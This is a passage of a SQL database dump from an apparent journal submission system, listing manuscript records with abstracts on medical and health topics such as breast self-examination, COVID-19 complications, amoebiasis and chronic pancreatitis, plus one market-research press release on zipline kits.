commonest cancer overall. The aim of this study was to assess practice of breast self-examination and associated factors among Health science female students at Ambo University in 2019.\r\nMethodology: - Institutional based cross-sectional survey was carried out among Health science female students at Ambo University in 2019. Data was collected by using a pre tested and pretested self-administered questionnaires. The response was systematically tabulated and analyzed using SPSS version 20, and explanations were given separately.\r\nResult- A total of 150 respondents participated in the study, of these 80 (53.3%) of them had good knowledge and only 67(44.7%) of the respondents had practiced BSE before. Among study participants whose families had breast cancer, practice BSE 2.12 times more than study participants whose families didn’t have his tory of breast cancer (AOR=2.12; 95% CI, 1.09–3.95, P=0.044). Those who had good knowledge toward BSE were 5.5 times more likely to practice BSE than those who had poor knowledge (AOR=9.5; 95% CI, 5.5–18.8, P=0.002).\r\nConclusions- The overall knowledge of female students towards breast self examination was 62%. This study showed that only 67(44.7%) of the study participants ever practiced BSE. The independeent predictors of breast self examination was family history of breast cancer and knowledge how to perform breast self examination. ','Breast, Feeding, Lactation, Practice, Factors',456,NULL,'2022-01-13',NULL,'Submitted',2,NULL,'2022-05-13',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(12316,12587,251,0,'ipacm-22-12316','Evaluation of the apoptotic activity of modified carvacrol and anticancer peptide against AGS gastric cancer cell line',NULL,14,0,'','Introduction:\r\nTreating stomach cancer remains a major challenge. There have been many reports of the positive effect of modified carvacrol and anti-cancer peptides on gastric cancer. The main purpose of this study was to determine and design a fusion modified carvacrol and anti-cancer peptide against AGS gastric cancer cell line using flow cytometry technique.\r\nMethod:\r\nDetermination of cell lethality was conducted with different concentrations of the modified carvacrol and anti-cancer peptides against the AGS cell line by the MTT technique. Treatment of AGS cells with different concentrations of components to evaluate the apoptosis of AGS cells was performed by flow cytometry. In this study used. The MTT test was performed according to protocol with different concentrations of components.\r\nResults:\r\nThe results showed that the percentage of cells treated with modified carvacrol and anti-cancer peptides at a concentration of 80μg/ml with total apoptosis was 46.91% and increased by 36.25% compared to untreated cells.\r\nConclusion:\r\nDue to the anticancer properties of modified carvacrol with anticancer peptide, the above combination can be used to treat and induce apoptotic activity against gastric cancer cell lines.\r\n','Modified carvacrol, MTT, anti-cancer, Flowcytometry, Apoptosis.',783,NULL,'2022-01-13',NULL,'Submitted',4,NULL,'2022-07-08',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12324,12594,85,0,'iphspr-22-12324','Mini-Review: A Structural Social Work Approach to Oral Health Care in Nepal',NULL,25,0,'','It is increasingly recognized that health outcomes are determined by social and environmental conditions beyond the control of individuals. Critical social theories argue that behind these environmental disparities are inequities in power, and that non-dominant groups are systematically marginalized through institutions, policies and dominant cultural norms. Disease can therefore be understood as a form of structural violence, an experience that is socially engineered to disproportionately impact marginalized groups. For example, oral disease, the most prevalent noncommunicable disease worldwide, is often treated as an individual and cosmetic problem, but should be viewed as a chronic environmental disease that is caused by structural violence. In this article, a Structural Social Work (SSW) framework is applied to an oral health program in Nepal and core SSW practice principles are evaluated. Structural issues around the health labor market, bioscientific primacy in cultural understandings of legitimacy, and colonialism are found to play key roles in exposure and treatment for dental problems. Strategies such as tension-reduction, consciousness-raising, collectivization, and power-brokering can address power disparities behind unequal distribution of oral disease. In conclusion, oral disease should be reframed as an issue of health justice and interventions should address the structural drivers of this extremely widespread problem.\r\n','Oral Health, Nepal, inequality, social work, health equity, health policy, health economics, dentistry, social determinants of health, structural violence\r\n',3413,NULL,'2022-01-15',NULL,'Submitted',2,NULL,'2022-07-26',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12327,12597,45,0,'iphsj-22-12327','THE PUBLIC HEALTH AND CLINICAL IMPORTANCE OF AMOEBIASIS',NULL,15,0,'','Amoebiasis also called amoebic dysentery, first described by Fedor A. Lösch in 1875, caused by Entamoeba histolytica has great clinical impotence and is of public health significance.E. histolytica has a simple life cycle involving the infective cyst that ingested through contaminated food and water and vegetative trophozoite. The pathogenesis of Entamoeba histolytica  have different events like cell death, inflammation, and invasion which are performed with the help of different molecules like lectin, Amoebapores and cysteine protease, etc. 80-90% of people infected with Entamoeba histolytica are asymptomatic (intraluminal amoebiasis) and remaining to develop manifestation like amoebic colitis, toxic megacolon, ulceration, ameboma  and another extraintestinal amebiasis like amoebic liver abscess, pulmonary, cardiac and cerebral abscesses if trophozoite reaches hematogenous to these sites. The global burden caused by amebiasis is widespread. Worldwide 50 million people are affected by this disease and 100000 deaths are reported annually. The highest burden of amebiasis is in developing countries, particularly in the tropics and subtropics, where there is inadequate hygiene and access to sanitation. Microscopy, serological and molecular methods can use for diagnosis. Pharmacological therapy and surgical intervention are recommended. As there is no effective vaccine, prevention emphasizes on sanitation and access to clean drinking water.','Amoebiasis, dysentery, Entamoeba histolytica, contaminated food and water, sanitation.',4912,NULL,'2022-01-16',NULL,'Submitted',2,NULL,'2022-04-20',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(12328,12598,73,0,'ipjnn-22-12328','Uveitis and acute myelitis after COVID-19',NULL,2,0,'','A number of neurological disorders have been reported to be associated with the novel corona virus (COVID-19) including acute stroke, encephalitis, convulsions, peripheral neuropathy and rarely myelitis. Multiple other symptoms have been reported such as uveitis.\r\nIn this article we presented the case of a 32-year-old-woman who was presented to hospital with proprioceptive ataxic walking, progressive lower limb weakness, urinary retention and visual blur. She had been diagnosed with COVID-19 four days before the appearance of symptoms. Clinical examination showed weakness, hyporeflexia, hypoaesthesia of both lower limbs and intermediate uveitis. The evolution was marked by the total regression of the motor deficit and partial regression of the visual blur after treatment with intravenous methylprednisone.\r\nIt is important to recognize potential neurologic manifestations and complications of the noval corona virus especially when some of which can be rapidly progressing and require urgent intervention.\r\n','COVID-19, Myelitis, Uveitis.',341,NULL,'2022-01-16',NULL,'Submitted',2,NULL,'2022-02-16',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12329,4939,277,0,'ipadm-22-12329','ORINA VERDE ASOCIADA AL USO DE PROPOFOL.  A PROPÓSITO DE UN CASO',NULL,2,0,'','Presentamos el caso de una mujer de 15 años de edad, primigestante con embarazo de 39.5 semanas de gestación por ecografía del primer trimestre,  sin antecedentes de importancia. Quien ingresa a centro asistencial con datos clínicos de preeclampsia severa con cifras tensionales >160/110 milímetros de mercurio (mmHg), por lo cual fue programada de manera urgente a cesárea y traslada a unidad de cuidados intermedios para monitorización hemodinámica no invasiva y administración sulfato de magnesio en infusión por cuadro descrito. En su estancia hospitalaria en unidad de cuidados intermedios, la paciente requiere manejo avanzado de la vía aérea y se continúa sedoanalgesia con infusión de propofol a 2 mg/kg/hora. En las 24 horas posteriores al inicio de la infusión, se evidenció en sonda vesical orina color verde por lo que se solicitaron paraclínicos de extensión los cuales no revelaron alteraciones. La paciente es extubada a los 7 días posteriores y se suspende la infusión con propofol. Al presentar mejoría de cuadro clínico se traslada a hospitalización en sala general, donde el color de la orina se torna a color  ámbar en un periodo de 24 horas, posteriores a la suspensión de la infusión de propofol.','Intubación e Inducción de Secuencia Rápida, Anestésicos Intravenosos, Mujeres Embarazadas, Orina, propofol (Fuente DeCS).',2805,NULL,'2022-01-16',NULL,'Submitted',2,NULL,'2022-04-20',NULL,1,1,'0','ACCEPTED',0,NULL,NULL,NULL,0,0,0,NULL,0),(12339,12606,86,0,'ipaom-22-12339','CONDOM USE AMONG PEOPLE LIVING WITH HIV/AIDS ATTENDING UNIOSUN TEACHING HOSPITAL, OSOGBO, OSUN STATE, NIGERIA',NULL,14,0,'','Condom use in people living with HIV/AIDS reduces the risk of transmitting the virus and also of contracting other sexually transmissible diseases, besides reducing the infection with different viral specimens, contributing to prevent more severe and resistant forms of the disease. A review from the United States National Institutes for Health says that condoms are protective against HIV infection (NIH 2000), reducing the probability of HIV transmission per sex act by as much as 95% and reducing the annual HIV incidence in sero-discordant couples by 90-95% when used consistently.\r\n \r\nA cross sectional study was done among ART patients attending Osun State University teaching hospital, Osogbo, Osun State. Multi-stage sampling technique was used to select respondents. A closed ended questionnaire in scale ratings was designed and validated. Three hundred (300) questionnaires were distributed and two hundred and eighty six (286) were retrieved for the analysis. This implies that the response rate is 95.3%.\r\n \r\nThe level of knowledge of people on condom use at the study area was above average. Condom use by people living with HIV/AIDS reduces the risk of transmitting the virus and also of contracting other sexually transmissible diseases, besides reducing the infection with different viral specimens, contributing to prevent more severe and resistant forms of the disease.','Antiretroviral Therapy, Condom, HIV/AIDS',3031,NULL,'2022-01-18',NULL,'Submitted',4,NULL,'2022-05-03',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12341,12608,86,0,'ipaom-22-12341','  SEVERITY AND PREVALENCE OF MENOPAUSAL SYMPTOMS AND THEIR EFFECTS ON QUALITY OF LIFE IN MIDDLE-AGED WOMEN    ',NULL,14,3,'','Menopause is a normal process in women marked by a reduction in estrogen and progesterone levels and eventual cessation of menstruation. Despite many studies on menopause, severity and prevalence of menopausal symptoms and effects on quality of life among middle aged women are poorly documented. The main objective of the study was to examine the effect of menopausal symptoms on quality of life among middle aged women in Ede, south western Nigeria.\r\nThe study adopted a community based prospective cross-sectional survey conducted among 422 women aged 40-60 years residing in Ede. Simple random sampling was used to select respondents. A semi-structured questionnaire was used to collect data from the study respondents which was analyzed using Statistical Package for Social Sciences (SPSS) version 21. Descriptive statistics, cross-tabulation, chi-square were used to analyze the quantitative data.\r\nThe mean age at menopause was 49 years and it was discovered that more than half 213 (50.5%) of the women age 40 – 60 years interviewed severely experienced issue relating with hot flushes and sweating, while 48.1% of them experienced heart discomfort severely.  It was also shown that more than half (50.2%) of these women severely experienced depressive mood (feeling down, sad, on the verge of tears, lack of drive, mood swings) and 51.4% of them also experienced irritability (feeling nervous, inner tension, feeling aggressive) severely. Furthermore, larger percentage (62.3%) of these women experienced sexual problems (change in sexual desire, in sexual activity and satisfaction) very severely, around 50.2% of them currently experienced bladder problems (difficulty in urinating, increased need to urinate, bladder incontinence) at moderate level. In addition, it was revealed that more than half 217(51.4%) of these women experienced dryness of vagina (sensation of dryness, difficulty with sexual intercourse) severely in the study area. This implies that prevalence of menopausal symptoms among middle aged women in Ede was high and thus affected their quality of life (χ2=21.549, p=0.05).\r\nMenopausal symptoms present with differing severity among women. Therefore, there is need for government to adopt measures for supporting menopausal women to improve the quality of life and to mitigate its adverse effects. This requires developing and institutionalizing appropriate policies and support programmes to support women during menopause transition and improve their quality of life.','Severity; Prevalence; Menopausal Symptoms; Middle aged women.',1639,NULL,'2022-01-18',NULL,'Submitted',18,NULL,'2022-05-03',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(12347,12615,45,0,'iphsj-22-12347','SMALL BOWEL METASTASIS FROM A GASTRIC CANCER: A CASE REPORT',NULL,5,0,'','Malignant small bowel tumors present less than 2% of all the digestive tract cancer and are exceptionally of secondary origin. The most incriminated cancers are those of the breast, lung and melanoma. As regards the gastric origin, it is rarely reported and most often due to an invasion by a peritoneal carcinomatosis. We present a case of 67 years old patient operated of gastric cancer, where while operated for a small bowel obstruction due to postoperative adhesion we discover an endoluminal small bowel metastasis most probably due to an intestinal dissemination.','',5279,NULL,'2022-01-19',NULL,'Submitted',2,NULL,'2022-02-01',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(12348,12616,73,0,'ipjnn-22-12348','THE PREVALENCE OF VITAMIN D DEFICIENCY IN MIGRAINE HEADACHE PATIENTS & ITS RESPONSE TO VITAMIN D REPLACEMENT IN DEFICIENT PATIENTS',NULL,14,0,'','Migraine is a common neurovascular disorder that causes significant morbidity , in terms of quality of life. The migraine syndrome consists of a moderate to severe recurrent, unilateral, throbbing headache lasting hours to days, which is generally accompanied by nausea, photophobia, phonophobia , and is worsened by routine physical exertion. A few studies have shown a positive relationship between vitamin D and migraine headaches. And, it is common to encounter migraine headache and low levels of vitamin D in Indian population suggesting a common link between them. This article is a study of  prevalence of vitamin D deficiency in migraine headache patients amongst the north Indian population, to assess & correlate vitamin D levels with the severity of  migraine headache, to study the effect of supplementation of vitamin D in patients of migraine with vitamin D deficiency ','Headache, Migraine, Vitamin D Deficiency',326,NULL,'2022-01-19',NULL,'Submitted',2,NULL,'2022-02-22',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12363,12632,326,0,NULL,'CLINICAL PROFILE AND MANAGEMENT OF CHRONIC PANCREATITIS IN TERTIARY CARE CENTRE.',NULL,3,0,'','BACKGROUND:\r\nConstant inflammation and irreversible pancreatic tissue destruction are hallmarks of the disease of chronic pancreatitis, which results in the decrease of both exocrine and endocrine function over time .It is a multifactorial disease, with a wide range of symptoms and geographic variation. Aim of this study is to Study Clinical profile and management of chronic pancreatitis with respect to Demography, Clinical findings, Lab parameters, Imaging investigations and Management modalities.\r\nMETHODS:\r\nA cross sectional Observational study was conducted which included the patients admitted in tertiary care centre presenting with clinical diagnosis of chronic pancreatitis. The study was conducted over period of 2 years from November 2019 to October 2021. A total sample size of 71 patients were included.\r\nRESULTS:\r\nIn the study, it was observed that majority of patients in age group of 51-60 years (47.89%) followed by 41-50 years (21.12%) .Mean age ranges from  56.54 ± 12.63 years. Majority of patients were male (76.06%) and females were 23.94%. The distribution of patients according to aetiology showed that majority of patients had aetiology of alcoholism (43.66%) followed by Idiopathic (29.57%),Gall/Biliary stones (21.12%) and post-operative (05.63%).Majority of patients presented with pain in abdomen (85.92%). The distribution of patients according to USG findings showed that majority of patients shows pancreatic calcification (54.93%) followed by Pancreatic pseudocyst (32.39%) and gall stones (19.72%). The distribution of patients according to CT findings showed that majority of patients shows pancreatic calcification (70.42%). In the present study, it was observed that majority of patients were managed conservatively (43.66%) followed by Cystogastrostomy (18.31%) and Cystojejunostomy (8.45%). ERCP was done among 14 (19.72%) patients. Lateral pancreaticojejunostomy was done in 6 (8.45%) patients and Pancreaticoduodenectomy(Classical Whipple’s)was done in 4 patients(5.63%). The distribution of patients according to pain relief by various management showed that majority of get relief of pain by Surgery (69.23%) followed by ERCP (35.71%) and least by conservative/ analgesics (6.45%).\r\nCONCLUSION:\r\nChronic pancreatitis is progressive inflammatory disease. Alcoholic pancreatitis being most common etiology. Pain is most common presenting symptom. CT SCAN abdomen most useful in confirming diagnosis in our set up. Pseudocyst being common complication seen. Surgery gives relief of pain in most of the cases. The key to a better outcome is making the right decisions in terms of diagnosis, patient selection for surgery, and surgical type.\r\n','',2505,NULL,'2022-01-20',NULL,'Submitted',4,NULL,'2022-06-29',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12370,12641,975,0,'ipjbs-22-12370','Tracing the Epileptic Consequences of Neurocysticercosis',NULL,15,0,'','This Paper aims to provide a detailed overview of some basic and complex topics in the field of Neuroscience. Focusing on the overall occurrence of Action Potentials in Nerve cells, an insightful description of the processes which take place at the cellular and molecular levels is also provided. What follows is a discussion on how Neurocysticercosis, a parasitic infection which adversely affects the Central Nervous System, leads to Epileptic Consequences in the human body, as stated in the title. The explanation of these consequences contains vital information as to how such complex diseases and their consequences are merely errors in Action Potentials at the cellular level. With this, the paper also uses information from previously conducted studies, which found a causal linkage between Neurocysticercosis and Epilepsy.\r\n','Action Potentials; Neurocysticercosis; Epilepsy; Neuroscience; Central Nervous System; Pork Tapeworm; Taenia Solium\r\n',3460,NULL,'2022-01-22',NULL,'Submitted',4,NULL,'2022-06-30',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12386,12654,91,0,'ijddr-22-12386','Technological Transformations and New Product Innovations to Elevate Zipline Kits Market',NULL,14,2,'','The sports industry has been witnessing significant growth since the past few years along with the increasing number of enthusiasts. This has forced the sports equipment manufacturers to design innovative product that can cater to the consumer demands for entertainment. One such sports activity is zipline. The ziplines have become an adventure phenomenon in the recent years, and various types of zipline kits and products are available from little to mile-long yards. The adoption of zipline kits has grown massively in the recent years due to widespread adoption of these adventure activities in summer camps and island resorts. The zipline kits can be easily deployed anywhere. The zipline provides various health benefits such as the burning of calories, reduction of stress levels and other environmental benefits. Such factors are driving the adoption of zipline kits in the market.\\r\\n“Fact.MR, A Market Research and Competitive Intelligence Provider” has used a versatile approach to focus attention on the historical evolution, Demand and Sales of Zipline Kits Market. The research provides a comprehensive analysis of current Zipline Kits key trends, major growth avenues in the estimation year, and key prospects for the forecast period of 2022-2032. Zipline Kits market drivers and constraints, threats and opportunities, regional segmentation and opportunity assessment, end-use/application prospects review are addressed in the Zipline Kits market survey report.\\r\\n\\r\\nTo Get In-depth Insights Request for Sample here – https://www.factmr.com/connectus/sample?flag=S&rep_id=1701\\r\\nZipline Kits Market: Segmentation\\r\\nSegmentation of the zipline Kits market based on channel type:\\r\\n•	Direct Sales\\r\\n•	Franchised Stores\\r\\n•	Specialty Stores\\r\\n•	Online Retail Stores\\r\\nSegmentation of the zipline kits market based on components:\\r\\n•	Zip line trolleys\\r\\n•	Harnesses\\r\\n•	Zip line pulleys\\r\\n•	Zip line safety gear\\r\\n•	Others\\r\\nSegmentation of the zipline kits market based on application of zipline kits:\\r\\n•	Backyard Zips\\r\\n•	River Crossings\\r\\n•	Canopy Tours\\r\\n•	Professional Zipline operations\\r\\n•	Zipline Tours\\r\\n•	Others\\r\\nThe Zipline Kits market report will improve the revenue impact of businesses in various industries by:\\r\\n•	Providing a framework tailored toward understanding the attractiveness quotient of various products/solutions/technologies in the Zipline Kits market\\r\\n•	Identification of Zipline Kits market drivers, restraints and other forces impacting the global Market\\r\\n•	Guiding stakeholders to identify key problem areas pertaining to their consolidation strategies in the global Zipline Kits market and offers solutions\\r\\n•	Evaluation of current Zipline Kits market size and forecast and technological advancements within the industry.\\r\\nRequest Customized Report as Per Your Requirements – https://www.factmr.com/connectus/sample?flag=RC&rep_id=1701\\r\\nZipline Kits Market: Competitive Landscape\\r\\nExamples of some of the key players operating in the zipline kits market are\\r\\n•	Alien Flier\\r\\n•	Zip-Gear\\r\\n•	ZIPLINEGEAR\\r\\n•	Slackers\\r\\n•	Chetco\\r\\n•	Rogue\\r\\n•	Sleadd\\r\\n•	Flying fox\\r\\n•	and JumpKing International LLP.\\r\\nKey questions answered in Zipline Kits Market Survey Report:\\r\\n•	What is the current scenario and key trends in Zipline Kits Market?\\r\\n•	What are the key strategies companies are adopting to increase their consumer base?\\r\\n•	What are the key categories within the Zipline Kits segments and their future potential?\\r\\n•	What are the major Zipline Kits Market drivers and their expected impact during the short, medium, and long terms?\\r\\n•	What is the Zipline Kits Market size and what are the opportunities for the key players?\\r\\nGet Access to TOC Covering 200+ Topics- https://www.factmr.com/connectus/sample?flag=T&rep_id=1701 \\r\\nRegional Overview\\r\\nOn the basis of geography, the zipline kits market is segmented across North America, Latin America, Western Europe, Eastern Europe, China, SEA and other APAC, Japan, and Middle East & Africa. North America is expected to be a large market for Zipline kits as a majority of the zipline kits vendors such as Alien Flier and Slackers are based in the region. The increasing spending of European countries such as UK in the leisure industry is driving the adoption of zipline kits in the region. The growing popularity of sports in developing regions, such as APEJ, Latin America and parts of Africa, are characterized by the increasing consumer spending on sports and adventure activity products such as zipline kits. \\r\\nThe Report Covers Exhaustive Analysis On:\\r\\n•	Zipline Kits Market Drivers, Segments and Restraints.\\r\\n•	Zipline Kits Market Survey and Dynamics\\r\\n•	Zipline Kits Market Size & Demand\\r\\n•	Zipline Kits Key Trends/Issues/Challenges\\r\\n•	Zipline Kits  Sales, Competition & Companies involved\\r\\nExplore Fact.MR’s Coverage on the Sports Domain:\\r\\nInflatable Ramps Market - The global sports industry is continuously expanding due to the rise in the introduction of innovative games and sports equipment and an increase in consumer engagement in sports activities. There has been a surge in positive view towards sports among the consumers which has been driving the demand for various sports equipment.\\r\\nLadderball Market - A ladderball game, also known as ladder golf, can have multiple players and be played both indoors and outdoors. The ladderball set, which can be purchased through the online sales channel, comes in different price ranges depending on the quality of the ladder material and its dimensions.\\r\\nTetherball Market- According to Fact.MR’s insights, the global tetherball market is anticipated to grow in three to five years due to an increase in the attraction of people towards recreational activities.\\r\\nContact:                                                                   \\r\\nUS Sales Office:\\r\\n11140 Rockville Pike                                             \\r\\nSuite 400\\r\\nRockville, MD 20852\\r\\nUnited States\\r\\nTel: +1 (628) 251-1583\\r\\nE-Mail: sales@factmr.com\\r\\nCorporate Headquarter:\\r\\nUnit No: AU-01-H Gold Tower (AU),\\r\\nPlot No: JLT-PH1-I3A,\\r\\nJumeirah Lakes Towers,\\r\\nDubai, United Arab Emirates','Zipline Kits Market',4564,NULL,'2022-01-24',NULL,'Submitted',2,NULL,'2022-11-17',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12392,5004,86,0,'ipaom-22-12392','Non-Dilated Obstructive Uropathy',NULL,2,0,'','Urinary tract obstruction leading to acute kidney injury (AKI) is commonly associated with hydroureter and hydronephrosis, often accompanied by oliguria1 .AKI and the syndrome of Non-Dilated Obstructive Uropathy (NDOU) is well reported, however, it is not common, accounting for less than 4% of obstructive uropathy cases 2, 3. Our recent experience with two cases of NDOU seen within the span of six months may imply otherwise. We present two cases of obstructive uropathy without sonographic features of obstructive uropathy with acute renal failure.\r\nTwo elderly male patients presented at Royal Bahrain Hospital Nephrology Center with an acute rise in serum creatinine, without active urinary sediment or proteinuria. Imaging studies showed normal size kidneys without hydronephrotic changes. Initially, they were diagnosed with pre-renal azotemia secondary to volume depletion, and they were treated with intravenous fluids which failed to improve the kidney function. Repeated imaging showed bladder fullness with prostate hypertrophy, therefore NDOU was diagnosed.\r\nBoth patients’ urinary obstruction was relieved resulting in recovery of the kidney injury.','obstructive uropathy,  acute kidney injury',5013,NULL,'2022-01-25',NULL,'Submitted',2,NULL,'2022-04-25',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12394,12661,73,0,'ipjnn-22-12394','Hypothermia as a Treatment option for Intra and post Ischemic stroke.',NULL,25,0,'','Neuroinflammation is a key component in the ischaemic cascade following cerebral ischaemic insult that results into tissue damage, leakage in the blood-brain barrier and death in the sub-acute phase. Failure of anti-inflammatory drugs to improve outcome in clinical settings have suggested its response following an ischeamic attack is detrimental. Hypothermia is a robust neuroprotectant and has consistently shown benefit against a variety of brain injuries at the ex-perimental level. It has recently been shown to improve neurological outcome in comatose sur-vivors of cardiac arrest and neonatal hypoxic ischemia. Although until now, therapeutic hypo-thermia doesn’t categorise under any therapeutic standards of parameters, but it is well accepted that cooling should be started as soon as possible following an ischeamic attack.  This review discusses the protective influence of hypothermia on the neuroinflammatory response.   ','',338,NULL,'2022-01-26',NULL,'Submitted',2,NULL,'2022-02-24',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12397,12666,73,0,'ipjnn-22-12397','Brain Fog a pandemic outcome: Covid-19',NULL,9,0,'','N/A','',326,NULL,'2022-01-27',NULL,'Submitted',2,NULL,'2022-03-14',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12398,12667,975,0,'ipjbs-23-12398','Computational complexity reduction in synthetic aperture ultrasound  imaging for phantom cyst through independent component analysis',NULL,14,3,'','In synthetic aperture ultrasound imaging systems, the emitting elements of a transducer array transmit ultrasound pulses consecutively, whereas all elements receive the returned echoing signals simultaneously. Although this method can collect an absolute dataset from the received echoing signals, the process is partly slow and time-consuming. It also has a low signal-to-noise ratio (SNR), especially for the cyst phantoms with a large number of scatterers. This paper proposed a multiple emitting method for increasing the frame rate, reducing the imaging process time, and decreasing the number of computations. In the proposed method, two elements transmit two distinct signals instead of emitting only one signal with one element. The independent component analysis (ICA) algorithm was then employed to extract two independent source signals from the received mixed signals in the receiving array. The matched filtering technique was then adopted to improve the SNR of the reconstructed signals in the cyst phantom. As a result, the imaging process can be performed through fewer transmissions in the proposed method, and the image quality is preserved in terms of resolution and contrast. Two kinds of experimental and simulated cyst phantoms were employed to evaluate the proposed algorithm. According to the results, the proposed method reduced computational complexity to 47% with slight deteriorations by 1.34 dB and 3.7% in terms of CR and CNR, respectively, compared with the conventional synthetic aperture ultrasound imaging method.','Ultrasound imaging, computational complexity, synthetic aperture, signal-to-noise ratio (SNR), independent component analysis (ICA), matched filtering',3460,NULL,'2022-01-27',NULL,'Submitted',2,NULL,'2023-11-13',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12403,12672,91,0,'ijddr-22-12403','Synthesis, Characterization, and Antibacterial Activity two New Schiff Bases devired from (E)-2-(((2-aminoethyl) imino) methyl) phenol (E)-2-(4-aminobut-1-enyl)-5-methylbenzamine ',NULL,14,2,'','In this study two new Schiff base ligands were synthesized, characterized and antibacterial activities were investigated against Escherichia coli, Pseudomonas aeruginosa, Bacillus cereus, Salmonella typhimurium, and Staphylococcus aureus. (E)-2-(4-aminobut-1-enyl) phenol derived from Ethylene diamine and Salicyldehye. (E)-2-(4-aminobut-1-enyl)-5-methylaniline derived from 4-dimethyl amino benzaldehyde and Ethylene di-amine. The Schiff bases were characterized by elemental analysis and FT-IR. The Schiff base ligands were screened in vitro for their antibacterial inhibiting potential by using Disc diffusion method. The results indicated that the Schiff base I have showed biological activity against E. coli. The main purpose of the study was to compare the inhibitory effect of these Schiff bases with commercial antibiotics Ciprofloxacin and Erythromycin to introduce new varieties of antibacterial agents. ','Schiff base, Antibacterial, FT-IR, chemical synthesis',5033,NULL,'2022-01-28',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12405,12674,45,0,'iphsj-22-12405','CILIUM INCARNATUM EXTERNUM AND ITS MANAGEMENT – A RARE PRESENTATION',NULL,2,1,'Cilium Incarnatum Externum',':  A 45 years old gentleman presented to Ophthalmology clinic ,  with complaint of a small swelling over his right eye upper eyelid. On examination, an aberrant eyelash was seen growing subcutaneously under the swelling on the eyelid, clinically diagnosed as Cilium Incarnatum Externum. This aberrant eyelash was removed surgically under topical anesthesia','cilium incarnatum, eyelid , benign ,rare, misdiagnosed, aberrant eyelash ',4011,NULL,'2022-01-29',NULL,'Submitted',2,NULL,'2022-02-24',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12407,12676,86,0,'ipaom-22-12407','Early evolution of biochemical markers in severe and non-severe patients infected with COVID-19',NULL,14,0,'','Coronavirus disease 2019 (COVID-19) is an emerging infection that has caused a pandemic, it is due to a virus of the coronavirus family called severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) which can evolve into severe forms leading to death. Several biochemical alterations have been described in COVID-19 patients with great significance for clinical diagnosis and outcome prediction. The aim of this study is to compare early evolution of biochemical disturbances in COVID-19 patients and correlate them to severity of the disease.\r\nThis study was conducted in 70 COVID-19 patients hospitalized at the Avicenna military hospital. 20 patients in the medical intensive care unit (severe group) and 50 patients in the COVID-19 isolation hospital (non-severe group). \r\nAcross our laboratory data analysis of the two groups of COVID-19 patients, we demonstrated that high titles and early elevation of ferretinemia, Interleukin-6, High-Sensitivity Troponin T(us), NT-Pro-BNP, Blood Urea nitrogen, Creatinine and LDH are significantly correlated to severity of the disease.\r\n\r\nthe analysis of this study through the recent scientific literature demonstrates the interest of early monitoring of biochemical markers in the diagnosis of severity and monitoring of severe forms of covid-19\r\n','COVID-19, early evolution, laboratory data, prognosis, ',3386,NULL,'2022-01-30',NULL,'Submitted',2,NULL,'2022-05-04',NULL,1,1,'0','accept',0,'','',NULL,0,0,0,NULL,0),(12419,12688,86,0,'ipaom-22-12419','Editorial Note on Hirschsprung\'s Disease and Diagnosis',NULL,5,0,'','Hirschsprung\'s disease (HD) is a congenital illness with a reported prevalence of one in every 5000 people and a female to male ratio of one to four.','Hirschsprung\'s disease',3031,NULL,'2022-02-01',NULL,'Submitted',2,NULL,'2022-02-11',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12422,12690,86,0,'ipaom-22-12422','Cardiopulmonary Resuscitation',NULL,5,0,'','Critical interventions, such as early defibrillation, successful chest compressions, and advanced life support, all play a role in the outcome of cardiac arrest and cardiopulmonary resuscitation','cardiac arrest, cardiopulmonary resuscitation',410,NULL,'2022-02-01',NULL,'Submitted',2,NULL,'2022-02-11',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12424,9456,86,0,'ipaom-22-12424','Colorectal Carcinoma: A General Overview',NULL,5,0,'','Colorectal cancer (CRC) is the third most frequent malignancy and the fourth leading cause of death from cancer. The majority of CRC instances are found in Western countries, and the disease\'s prevalence is increasing year by year.','Colorectal cancer, malignancy',5013,NULL,'2022-02-02',NULL,'Submitted',2,NULL,'2022-02-11',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12429,12701,85,0,'iphspr-22-12429','Effectiveness of Onsite Behavioral Health Risk Screening and Brief Counseling Interventions: Lessons Learned from Research Study at  Community Health Center in United States',NULL,25,0,'','This report highlights the key elements of an earlier research study and the lessons learned from the project relevant to health policy and clinical practice.  Adult patients of a rural community health center in the United States were screened onsite for multiple behavioral health risk factors and if found at-risk, were offered no-cost counseling onsite from a licensed employee assistance program (EAP) counselors trained in an evidence-based Motivational Interviewing approach.  Longitudinal data at four time points were examined: Start of treatment; end of treatment; 3-months post treatment; and 6-months post treatment.  Tests of paired data from start of treatment versus each later time point found significant improvements in all pairings for global health in the total sample (N = 120); depression symptom severity among the subsample with depression as clinical issue (n = 68); and work presenteeism and estimated hours of lost work time among subsample who were employed (n = 46).  Practical implications are presented in areas of: Screening for multiple behavioral health risks; prompt referral after screening to onsite counseling; training of counselors in Motivational Interviewing; and health system integration opportunities.  ','behavioral health, counseling, depression, mental, motivational interviewing, risk screening, work productivity, United States',4068,NULL,'2022-02-02',NULL,'Submitted',2,NULL,'2022-03-02',NULL,1,1,'0','accept the Article',0,'','',NULL,0,0,0,NULL,0),(12434,12706,91,0,'ijddr-22-12434','Design and Evaluation of Gastroretentive Mucoadhesive Films of Rizatriptan 